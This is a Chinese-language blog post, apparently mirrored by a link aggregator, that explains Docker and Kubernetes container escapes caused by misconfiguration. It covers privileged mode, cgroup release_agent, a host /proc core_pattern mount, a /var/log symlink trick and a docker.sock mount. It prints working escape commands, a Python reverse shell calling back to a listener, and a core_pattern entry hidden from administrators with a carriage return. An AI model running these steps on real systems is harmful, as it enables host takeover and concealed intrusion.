5

配置不当导致的容器逃逸

 3 years ago
source link: https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

代码安全搞不动了,这几天又开始摸鱼k8s,记录下一些由于配置不当导致的容器逃逸,以及一些利用方式和原理。

privileged特权模式

privileged简介

docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/

docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。

如何启动一个特权模式容器

在docker命令行中可以通过如下命令启动一个特权容器

docker run -it --privileged nginx /bin/bash

k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器

securityContext:
privileged: true

20210115114428.png

如何检测当前环境是否是以特权模式启动

在容器中时可以通过如下参数检测当前容器是否是以特权模式启动

cat /proc/self/status | grep CapEff

如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
20210115114749.png

这里可以稍微延申一下linux的Capabilities机制
https://man7.org/linux/man-pages/man7/capabilities.7.html
它对用户的权限进行了更细致的分类,可以对单个线程进行更精度的权限控制。避免粗暴的root特权用户和常规用户的简单区分。当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0。

一个线程拥有五个Capabilities集合PermittedInheritableEffectiveBoundingAmbient
分别对应了/proc/self/status中的CapPrmCapInhCapEffCapBndCapAmb
Effective集合就是主要的当前线程特权操作权限(Capabilities)的集合。

例如通过sudo -s切换成root用户之后就可以看到Capabilities权限的变化
20210115144040.png
通过capsh命令可以解码出具体的Capabilitie
20210115144014.png

简而言之,如果当前容器中的CapEff0000003fffffffff时则有了宿主机root用户的特权模式

挂载宿主机目录

在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件

mkdir /abc
mount /dev/sda1 /abc
chroot /abc/

20210115144855.png
或者其实这里写下crontab应该也可getshell

执行宿主机系统命令

如下文章中给出了这样一个思路,通过notify_on_release实现容器逃逸
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
先给出poc,在宿舍机上执行了ps aux,并将结果写入/ouput文件

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

可以看到创建了一个cgroup,并且通过notify_on_release机制执行容器中的可执行文件。
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
并且其中通过sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab获取当前容器文件路径在宿主机上的绝对路径也算一个小trick。
这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。

并且这个利用方式的要求比完全特权模式要更宽松一些,只需要满足以下条件即可

  • 以root用户身份在容器内运行
  • 使用SYS_ADMINLinux功能运行
  • 缺少AppArmor配置文件,否则将允许mountsyscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

20210115153044.png

挂载/proc

linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc目录挂载到容器内部时可以实现逃逸。

通过文档可知,/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是|管道符时,后面的的部分会以命令行的方式进行解析并运行。
https://man7.org/linux/man-pages/man5/core.5.html
并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。

由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。

#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()

并且创建一个会抛出段错误的程序

#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

然后在core_pattern文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern

\r之后的内容主要是为了为了管理员通过cat命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern中的命令(运行成功core_pattern时会有core dumped的输出)
20210115163552.png
此时就能监听到返回的shell
20210115163648.png

挂载/var/log

https://github.com/danielsagi/kube-pod-escape
这里用单纯的挂载/var/log来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。

  • 挂载了/var/log
  • 容器是在一个k8s的环境中
  • 当前pod的serviceaccount拥有get|list|watch log的权限

个人感觉这个条件其实还是蛮合理的,并不牵强,类似于赋予了当前pod一个读取日志的能力。
当满足以上条件时,可以与node节点的10250端口进行通信,并通过软链接的方式读取node上的文件。

通过github中给出的yaml文件可以快速启动这样一个场景。可以来分析以下这个yaml配置到底做了些什么操作。

apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory

可以看到前三个配置主要是设置了一个nodes/logget|list|watch权限,并且将这个权限赋予给logger对象。再以logger对象启动了一个pod。

这时候在pod中通过serviceaccount的token就可以访问node上10250端口并获取log

token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/ -H "Authorization: Bearer $token"

20210115165335.png
当然,访问一些/pods之类的目录时由于没有权限,访问会被禁止
20210115170447.png

继续回到logs,这个目录其实就是当前容器上被挂载的/var/log/host目录
20210115165451.png
同时也是node节点上的/var/log/
20210115165649.png

这样当我们通过软链接的方式在当前log目录下创建一个指向根目录的链接时

ln -s / ./root_link

在容器和node中这个root_link文件指向的都是自己本机的根目录
20210115170138.png
20210115170200.png

因此通过node的10250访问logs/root_link时,访问到的是node节点上的根目录,从而就可以读取到node机子上的文件
20210115170343.png

github中的脚本则通过这种方式遍历了node节点上的敏感文件,并下载到本地
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py

挂载docker.sock

20210115175233.png
docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。

这里通过如下命令挂载/var/run目录

sudo docker run --rm -it -v /var/run/:/host-var-run/ centos /bin/bash

为了方便这里我们将自己机子上的docker cli cp进容器。(尝试过在容器中直接yum但是下载下来的cli似乎不能用,建议实战中直接传一个cli)

然后通过-H命令指定unix套接字文件的地址即可

./docker -H unix:///host-var-run/docker.sock ps

20210115175730.png
这样能操纵宿主机上的docker

这样容器逃逸也就变得简单了,直接新起一个docker,将宿主机的根目录挂载进去,并且以特权模式启动。
之后的过程就很简单了,这里就不赘述了。

References

https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247487393&idx=1&sn=6cec3da009d25cb1c766bb9dae809a86&chksm=e84fa97edf382068250b4811419aa17811c7f244ab87dcbcbe63be328f98ecaf0ab9feeedf8c&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?subscene=19&__biz=MzIyODYzNTU2OA==&mid=2247487590&idx=1&sn=060a8bdf2ddfaff6ceae5cb931cb27ab&chksm=e84fb6b9df383faf1723040a0d6f0300c9517db902ef0010e230d8e802b1dfe9d8b95e6aabbd
https://xz.aliyun.com/t/7881
https://xz.aliyun.com/t/8558
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
https://www.docker.com/blog/docker-can-now-run-within-docker/
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
https://man7.org/linux/man-pages/man5/core.5.html
https://github.com/danielsagi/kube-pod-escape



About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK